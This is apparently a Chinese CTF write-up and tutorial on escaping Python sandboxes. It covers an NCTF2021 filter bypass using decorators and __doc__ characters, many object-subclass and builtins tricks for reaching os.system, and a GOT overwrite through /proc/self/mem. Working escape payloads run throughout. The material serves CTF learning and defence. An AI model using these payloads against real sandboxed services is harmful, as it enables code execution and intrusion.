本篇文章请配合隔壁《Python 类与继承》一文共同食用
事情要从一道 NCTF2021 的 Misc 题说起
import sys
from base64 import b64decode, b64encode
code = sys.argv[1]
try:
data = b64decode(code.encode()).decode()
except:
exit(0)
for c in 'h"\'(':
if c in data: exit(0)
exec(data)
题目给的附件代码中用到了 base64 ,实际题目中并没有用到,不过没什么影响
题目中过滤了 h
、'
、"
和(
,最终目的是要给一个QQ bot发送自己的代码让它执行,执行成功就可以得到flag
从过滤的字符来看其实本题已经算是非常简单的了,因为题目本身并没有过滤 os
库,所以我们只需要想办法拼接出我们需要执行的命令,然后调用通过 os.system
直接执行即可
那么我们现在的主要思路就有了:
os.system
执行命令看似上面说了只有两步,但是题目过滤了 '
和 "
,我们没办法直接使用字符来得到命令字符串,因为如果我们想要直接用字符串的形式,就一定会用到引号,所以我们就要想办法通过其他方式得到我们需要的字符
我们要知道,Python 自设计之初就是一门面向对象的语言,「Python中一切皆对象」,每个对象都包含了自己的属性,包括 Python 自带的各种库、模块、列表、字典等等,为了让使用 python 的人明白这些东西用途或含义,python 在这些模块或方法中都添加了文档属性,用 __doc__
即可查看
我们使用 __doc__
方法就可以得到一个字符串,取相应位置上的字符拼接起来就可以用来构造我们想要的命令了
有了想要的命令字符串,接下来就要考虑如何去执行命令,本题中给出了用来执行命令的函数 exec()
,我们在最开始也提到了,题目中并没有 ban 掉 os
库,所以我们可以直接通过 exec("os.system('xxx')")
的形式来执行命令,但是题目 ban 掉了 (
和 '
,所以直接这样做肯定是行不通的,那我们就要想办法去构造一个可以传递给 exec()
命令能够让他执行的参数
想要构造参数,我们首先要了解一下 函数装饰器 是什么:
装饰器本质上是一个 Python 函数或类,它可以让其他函数或类在不需要做任何代码修改的前提下增加额外功能,装饰器的返回值也是一个函数/类对象。
我们先简单写一个函数
def func():
print("abc")
我们需要知道,在 Python 中,函数也是一种对象,可以将一个函数赋值给一个变量,也可以将函数定义在另一个函数内部,这意味着一个函数的返回值可以是另一个函数,那么如果我们想要在执行 func()
这个函数时,输出 execute
该怎么办呢?
最简单的办法就是在函数后面直接加一个 print("execute")
,即
def func_exec():
print("execute")
print("abc")
但是如果有很多个这样的函数,那我们对每一个函数都要进行这样的修改,工作量一定很大,并且效率不高,在这种情况下,我们就可以使用装饰器来对代码进行优化,在使用装饰器的时候,我们并不需要对原有函数进行任何修改,便可以直接为原有函数添加新的功能
def decorator_func(func):
def wrapper():
print("execute")
return func()
return wrapper
def func():
print("abc")
f = decorator_func(func)
f()
在 Python 中,还可以用 @
这个符号来表示装饰器,也被称作装饰器的语法糖
def decorator_func(func):
def wrapper():
print("execute")
return func()
return wrapper
@decorator_func
def func():
print("abc")
func()
在有了对装饰器的简单了解后,我们就不难想到,可以利用构造装饰器来达到执行命令的目的,还可以绕过 ()
的过滤
还有一个需要思考的地方,我们通过 __doc__
构造出想要执行的命令(例如 ls
),如何把它作为参数传递给 os.system
,这种情况下我们就可以使用 lambda
创建一个匿名函数,然后把表示命令的变量作为参数传递给这个匿名函数,最后再通过使用 os.system
作为装饰器来给我们的命令变量添加上系统执行的功能,就大功告成了
import os
f = os.system # 把 os.system 函数作为参数传递给变量 f
a = {}.__doc__
command = a[69] + a[97] # 先构造一个 ls 命令
c = lambda _:command # 创建匿名函数,command 作为函数返回值
@f # 使用 os.system 函数作为装饰器,添加执行系统命令的功能
@c # 第二层装饰器,实际上是 command 变量,让其作为 @f 的返回值
class _:pass # @c 装饰器装饰的主体,在这里只是把装饰器结构补充完整的工具人
本地试一下效果
本题中并没有 ban 掉对于 os
库的引用,所以相对来讲做起来会比较容易,那如果题目中无法直接引用 os
库,又该怎样处理?
如果你还没有看下面的知识点,建议先看下面;如果你已经看了下面的知识点,相信你就已经会了!
无法是想办法引入 os
,或者引入其他可以执行命令的库,方法也比较简单,比如从内置函数里寻找,或者从 object 类的所有子类里找,通过下面我给出的代码在本地先进行搜索,找到目标后再远程构造,本题甚至可以直接通过字符拼接的方式得到 os
,随便举个例子
# 在本地先找 os
num = 0
for i in [].__class__.__mro__[-1].__class__.__subclasses__([].__class__.__mro__[-1]):
try:
if 'os' in i.__init__.__globals__.keys():
print(num)
break
except:
pass
num += 1
# 得到72
# 简单构造下payload
# [].__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].system('whoami')
# 绕过第一个括号
a = [].__class__.__mro__[-1].__class__.__subclasses__
b = lambda _:[].__class__.__mro__[-1]
@a
@b
class c:b
# c[72].__init__.__globals__[os].system('whoami')
t = [].__doc__
tt = {}.__doc__
# 绕过第二个括号
a = c[72].__init__.__globals__[t[66] + t[2]].system # os.system
cmd = lambda _:t[12] + tt[280] + t[66] + t[34] + t[15] + t[1] # whoami
@a
@cmd
class _:pass
思路不唯一,而且也和本地与远程的 python 环境相关,具体问题具体分析
import xxx
from xxx import *
__import__('xxx')
也可以通过目标库文件所在路径引入模块,例如 os 库在 Linux 下所在路径 /usr/lib/python2.7/os.py
import sys
sys.module["os"] = "/usr/lib/python2.7/os.py"
import os
sys.modules 是一个全局字典,该字典是 python 启动后就加载在内存中。每当导入新的模块时,sys.modules 都将记录这些模块。字典 sys.modules 对于加载模块起到了缓冲的作用。当某个模块第一次导入,字典 sys.modules 将自动记录该模块。当第二次再导入该模块时,python 会直接到字典中查找,从而加快了程序运行的速度。
如果可以导入某个库(例如 os 库),但是其中相应方法被删除,无法正常调用,可以通过 reload
方法来恢复删除的方法
import os
del os.__dict__["system"]
os.system("ls")
import imp
imp.reload(os)
os.system("ls")
importlib.import_module(xxx)
import importlib
importlib.import_module('os').system('ls')
python 导入包的过程实际上就是到对应目录读取指定 py 文件,并将其加载到解释器的过程,所以我们也可以通过读取并执行对应文件的形式导入
# python2
execfile("/usr/lib/python2.7/os.py")
system("ls")
# python3
with open("/usr/lib/python3.8/os.py", 'r') as f:
exec(f.read())
system("ls")
如果模块中某个方法被置空(None),那只需要删除对应方法后重新导入库即可
import sys
sys.modules['os'] = None
import os
del sys.modules['os']
import os
当无法导入模块,或者我们想要导入的模块被 ban 掉时,可以使用 python 的内置函数来进行间接调用。所谓内置函数,就是 python 本身默认导入的函数,可以通过 dir(__builtins__)
来获得内置函数列表
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']
可以直接利用里面已有的函数进行操作
__builtins__.open('./flag.txt').read()
也可以通过 __dict__
方法调取目标方法的键值,例如 __import__
,然后间接导入想要的模块
__builtins__.__dict__['__import__']('os').system('ls')
如果 __builtins__
中的某些函数被删除,我们可以通过 reload
方法来重新导入 __builtins__
import imp
import __builtins__
imp.reload(__builtins__)
注意这里要先 import __builtins__
,导入的目的是要让内建模块名在该作用域可见
内置作用域是通过一个名为 builtin 的标准模块来实现的,但是这个变量名自身并没有放入内置作用域内,所以必须导入这个文件才能够使用它。
getattr(object, name)
object.__getattribute__(name)
使用这两种方法在执行命令时可以进行字符串的拼接,或一些编码操作
getattr(__import__('o' + 's'), 'sy' + 'stem')('l' + 's')
getattr(__import__("os"), "flfgrz".encode("rot13"))('ls')
__import__('os').__getattribute__('sys' + 'tem')('l' + 's')
__import__("os").__getattribute__("flfgrz".encode("rot13"))('ls')
通过 __class__
方法,我们可以找到实例化的来源,通过 __mro__
方法,我们可以得知其调用链,而一个类的调用链最后一个一定是 object
类,通过 __subclasses__()
方法,我们可以找到所有子类,我们又知道,object
类是所有类的父类,所以当我们能够得到 object
类时,调用它的子类就可以实现命令执行
().__class__.__mro__[-1]
# <class 'object'>
for i in enumerate(().__class__.__mro__[-1].__subclasses__()):
print(i)
(0, <class 'type'>)
(1, <class 'weakref'>)
(2, <class 'weakcallableproxy'>)
(3, <class 'weakproxy'>)
(4, <class 'int'>)
(5, <class 'bytearray'>)
(6, <class 'bytes'>)
(7, <class 'list'>)
(8, <class 'NoneType'>)
(9, <class 'NotImplementedType'>)
(10, <class 'traceback'>)
(11, <class 'super'>)
(12, <class 'range'>)
(13, <class 'dict'>)
(14, <class 'dict_keys'>)
(15, <class 'dict_values'>)
(16, <class 'dict_items'>)
...
我们可以直接通过列表下标来找到对应的类
().__class__.__mro__[-1].__subclasses__()[11]
# <class 'super'>
也可以通过一个脚本来找到我们想要利用的类
search = 'file'
num = 0
for i in "".__class__.__mro__[-1].__subclasses__():
if search in str(i):
print(num)
num += 1
通过 __init__
方法可以对类进行初始化,再通过 __globals__
方法寻找它能够调用的所有内容,从中寻找我们需要的函数或内置库,例如 os
、__builtins__
,可以写个脚本看一看
search = '__builtins__'
num = 0
for i in ().__class__.__mro__[-1].__subclasses__():
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
num += 1
<class '_frozen_importlib._ModuleLock'> 80
<class '_frozen_importlib._DummyModuleLock'> 81
<class '_frozen_importlib._ModuleLockManager'> 82
<class '_frozen_importlib.ModuleSpec'> 83
<class '_frozen_importlib_external.FileLoader'> 94
<class '_frozen_importlib_external._NamespacePath'> 95
<class '_frozen_importlib_external._NamespaceLoader'> 96
<class '_frozen_importlib_external.FileFinder'> 98
<class 'zipimport.zipimporter'> 104
<class 'zipimport._ZipImportResourceReader'> 105
<class 'codecs.IncrementalEncoder'> 107
<class 'codecs.IncrementalDecoder'> 108
<class 'codecs.StreamReaderWriter'> 109
<class 'codecs.StreamRecoder'> 110
<class 'os._wrap_close'> 132
...
得到能够调用 __builtins__
的类后,我们就可以直接利用内置函数自带的一些方法来进行命令执行
().__class__.__mro__[-1].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("open('./flag.txt', 'r').read()")
结合文章一开始讲到的装饰器,我们又可以对 payload 进行进一步优化,比如绕过 ()
a = [].__class__.__mro__[-1].__class__.__subclasses__ # type 类的 __subclasses__() 方法需要一个类作为参数
b = lambda _:[].__class__.__mro__[-1] # 用 object 类作为 __subclasses__() 的参数,能够得到较全的子类
@a
@b
# 用两层装饰器构造出 [].__class__.__mro__[-1].__class__.__subclasses__([].__class__.__mro__[-1])
# 得到 object 类的所有子类,并将其存入 class c 中
class c:b
num = 0
for i in c:
try:
if 'system' in i.__init__.__globals__.keys():
print(num, i)
except:
pass
num += 1
# 132 <class 'os._wrap_close'>
sys = c[132].__init__.__globals__['system'] # 此处 'system' 字符串可用 __doc__ 拼接
command = lambda _:'ls' # 'ls' 也可以用 __doc__ 拼接
@sys
@command
class _:pass
linecache
模块本身是用于读取文件的模块,但是这个模块中包含了 os
,python2/3 通用
import linecache
dir(linecache)
['__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'cache', 'checkcache', 'clearcache', 'getline', 'getlines', 'os', 'sys', 'updatecache']
有 os
意味着可以用来执行各种系统命令
linecache.os.system('dir')
那么我们该如何引入 linecache
这个模块呢,可以继续使用上面用到的代码在全局变量中搜索
search = 'linecache'
num = 0
for i in ().__class__.__mro__[-1].__subclasses__():
try:
if search in i.__init__.func_globals.keys():
print(i, num)
except:
pass
num += 1
(<class 'warnings.WarningMessage'>, 59)
(<class 'warnings.catch_warnings'>, 60)
找到目标后直接构造payload
().__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals['linecache'].os.system('dir')
结合字典的键值
().__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals.values()[-5].os.system('dir')
还结合上面讲的类描述器,绕过中间的一些关键词过滤
().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_' + 'globals')['linecache'].os.system('dir')
不过比较可惜的是只能在 python2 中找到这样可利用的 linecache
模块,python3 中不太行,不过 python3 中可以找到 __builtins__
利用
上文中其实已经包含了挺多间接实现命令执行的方法了,这里就再讲一些其他的方式
这个模块本身是用来测试代码执行时间的,但是既然能测试代码执行时间,那就一定能执行代码,使用前需要 import,python2/3 通用
import timeit
timeit.timeit("__import__('os').system('whoami')", number=1)
python2/3 中,该模块给我们提供了很多方法去获取操作系统的信息,其中 popen
可以执行任意命令,使用前需要 import
import platform
platform.popen('whoami').read()
通过 dir()
也能发现可以其中包含 os
,所以也可以调用 os
来执行命令
platform.os.system("whoami")
只在 python2 中使用,python3 中该模块已经被 subprocess
取代
主要使用两个函数
import commands
commands.getstatusoutput('whoami')
(0, 'ga1axy')
commands.getoutput('whoami')
'ga1axy'
subprocess 模块允许我们启动一个新进程,并连接到它们的输入/输出/错误管道,从而获取返回值
这个模块内置的函数很多,功能也很复杂,在此我就简单介绍几个和命令执行相关的(要先 import)
subprocess.run()
:执行指定命令,返回一个包含执行结果的 CompletedProcess
类的实例import subprocess
subprocess.run('whoami')
ga1axy
CompletedProcess(args='whoami', returncode=0)
subprocess.call()
:执行指定命令,返回命令执行状态,类比 os.system()
subprocess.call('whoami')
ga1axy
0
# 支持shell语法
subprocess.call('ls -l', shell=True)
# 不支持shell语法
subprocess.call(['ls', '-l'], shell=False)
subprocess.check_call()
:执行指定的命令,如果执行成功则返回状态码,否则抛出异常,等价于 subprocess.run(..., check=True)
subprocess.check_call('whoami')
subprocess.check_output()
:本身在执行命令方面和上面几个没啥区别,同样会抛出异常,返回结果是字符串的形式subprocess.check_output('whoami')
注:上述三者在执行命令上本身并无太大区别,具体的一些细节上的区别可以参考:
subprocess.getoutput()
:类比 commands.getoutput()
subprocess.getstatusoutput()
:类比 commands.getstatusoutput()
subprocess.Popen()
:参考 https://blog.csdn.net/RonnyJiang/article/details/53333538用 f
或 F
修饰的字符串将可以执行代码,简单理解为外面套了个 exec()
,python3.6 以上才支持
f"{__import__('os').system('whoami')}"
可以用上面提到的装饰器的方式绕过
对于一个序列来说,在序列里进行取值可以使用 __getitem__
方法
().__class__.__mro__[-1]
<class 'object'>
().__class__.__mro__.__getitem__(1)
<class 'object'>
对于列表来说,可以使用 pop()
方法,移除列表中的一个元素(默认最后一个元素),并且返回该元素的值
().__class__.__mro__.__getitem__(1).__subclasses__().pop(72).__init__.__globals__.__getitem__('os').system('whoami')
https://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/
proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。用户和应用程序可以通过proc得到系统的信息,并可以改变内核的某些参数。由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取proc文件时,proc文件系统是动态从系统内核读出所需信息并提交的。 https://blog.spoock.com/2019/10/08/proc/
LOAD段:表示一个从二进制文件映射到虚拟地址空间的段,其中保存了常量数据(如字符串),程序的目标代码等
/proc/self/maps:读取该文件可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址,可参考文章
address perms offset dev inode pathname
56453c5b8000-56453c605000 r--p 00000000 08:01 1710549 /usr/bin/python2.7
56453c605000-56453c7ac000 r-xp 0004d000 08:01 1710549 /usr/bin/python2.7
56453c7ac000-56453c8c1000 r--p 001f4000 08:01 1710549 /usr/bin/python2.7
56453c8c1000-56453c8c3000 r--p 00308000 08:01 1710549 /usr/bin/python2.7
56453c8c3000-56453c93a000 rw-p 0030a000 08:01 1710549 /usr/bin/python2.7
56453c93a000-56453c95d000 rw-p 00000000 00:00 0
56453d109000-56453d204000 rw-p 00000000 00:00 0 [heap]
7f3abc000000-7f3abc021000 rw-p 00000000 00:00 0
7f3abc021000-7f3ac0000000 ---p 00000000 00:00 0
7f3ac3d77000-7f3ac3d78000 ---p 00000000 00:00 0
7f3ac3d78000-7f3ac45b8000 rw-p 00000000 00:00 0
7f3ac45b8000-7f3ac460c000 r--p 00000000 08:01 1986026 /usr/lib/locale/yue_HK/LC_CTYPE
r-xp
条目描述了一块可执行内存(x
权限标志),表示代码段r--p
条目描述了仅可读的内存块(r
权限标志),表示静态数据(常量)rw-p
条目描述了一个可写的内存块(w
权限标志),表示数据段---p
条目描述了一块没有任何权限(或任何映射到它的内存)的地址空间p
标志),这意味着如果某个进程修改了一个页面(仅可写部分才可以修改),那么该页面将被复制(写时复制),其他进程将看不到任何更改/proc/self/mem:这个文件相当于程序内存的一个映射,可以理解为储存了该程序内存内容。但是这个文件只能打印出已经被映射的内存,未映射的内存打印出来会报错,需要结合 maps 中的映射信息来确定偏移值,对该文件进行写操作将改变进程的内存空间
关于匿名映射(匿名页面)
题目本身引入了 stdout
模块,所属类型为 file
,通过该类型就可以进行一系列的文件读写操作
stdout.__class__
# <type 'file'>
stdout.__class__('./test.txt', 'w').write('1234')
# 等同于
file('./test.txt', 'w').write('1234')
# 此处的 file() 为内置函数,效果等同于 open() ,在 __builtins__ 中
结合上面提到的 /proc/self/maps
,我们就可以查看当前 python 进程的内存映射关系,找到 python 的源进程文件
stdout.__class__('/proc/self/maps', 'r').read()
00400000-006dd000 r-xp 00000000 08:01 1044950 /usr/bin/python2.7
008dd000-008de000 r--p 002dd000 08:01 1044950 /usr/bin/python2.7
008de000-00955000 rw-p 002de000 08:01 1044950 /usr/bin/python2.7
00955000-00978000 rw-p 00000000 00:00 0
0227a000-0235e000 rw-p 00000000 00:00 0 [heap]
7f7b90000000-7f7b90021000 rw-p 00000000 00:00 0
7f7b90021000-7f7b94000000 ---p 00000000 00:00 0
7f7b97225000-7f7b97226000 ---p 00000000 00:00 0
......
以本地环境为例,当前的 python 进程映射到本地的 ELF 文件为 /usr/bin/python2.7,通过管道符直接将命令传递给沙盒
echo "stdout.__class__('/usr/bin/python2.7', 'r').read()" | python2 sandbox.py > python.out
删去文件中第一句沙盒本身的输出,即可得到一个完整的 ELF 文件,有了 ELF 文件,我们就可以得到 system()
于 fopen()
两个函数的 GOT 表偏移,通过劫持 GOT 表,把调用 fopen()
函数的地址改为调用 system()
的地址,在调用 stdout.__class__()
时就可以达到指定命令执行的效果
得到两个函数的 GOT 表地址,把修改内容写入 /proc/self/mem
,即可完成对进程内存空间的修改
利用 lambda 匿名函数将完整的修改以及命令执行过程构造成一个函数,利用 or
运算达到让命令依次执行的目的
or 运算可以理解为找真值演算,从左到右依次执行命令,并判断结果的 bool 类型,返回第一个真值(bool = True),如果都为假,则返回最后一个假值 f = open('./test.txt', 'r') bool(f.seek(1, 0)) # False bool(1 + 2) # True f.seek(1, 0) or f.seek(3, 0) or (1 + 2) # 3 and 运算则理解为找假值演算,从左到右返回第一个假值,如都为真,则返回最后一个真值 (1 + 2) and (3 * 5) # 15
构造完整 payload 如下,注意在写入内存时要禁用 buffer(buffering = 0)
echo "(lambda r, w : r.seek(0x8de2b8) or w.seek(0x8de8c8) or w.write(r.read(8)) or stdout.__class__('id'))(stdout.__class__('/proc/self/mem', 'r'), stdout.__class__('/proc/self/mem', 'w', 0))" | python2 sandbox.py
可能也许大概应该好像似乎不一定会持续更新(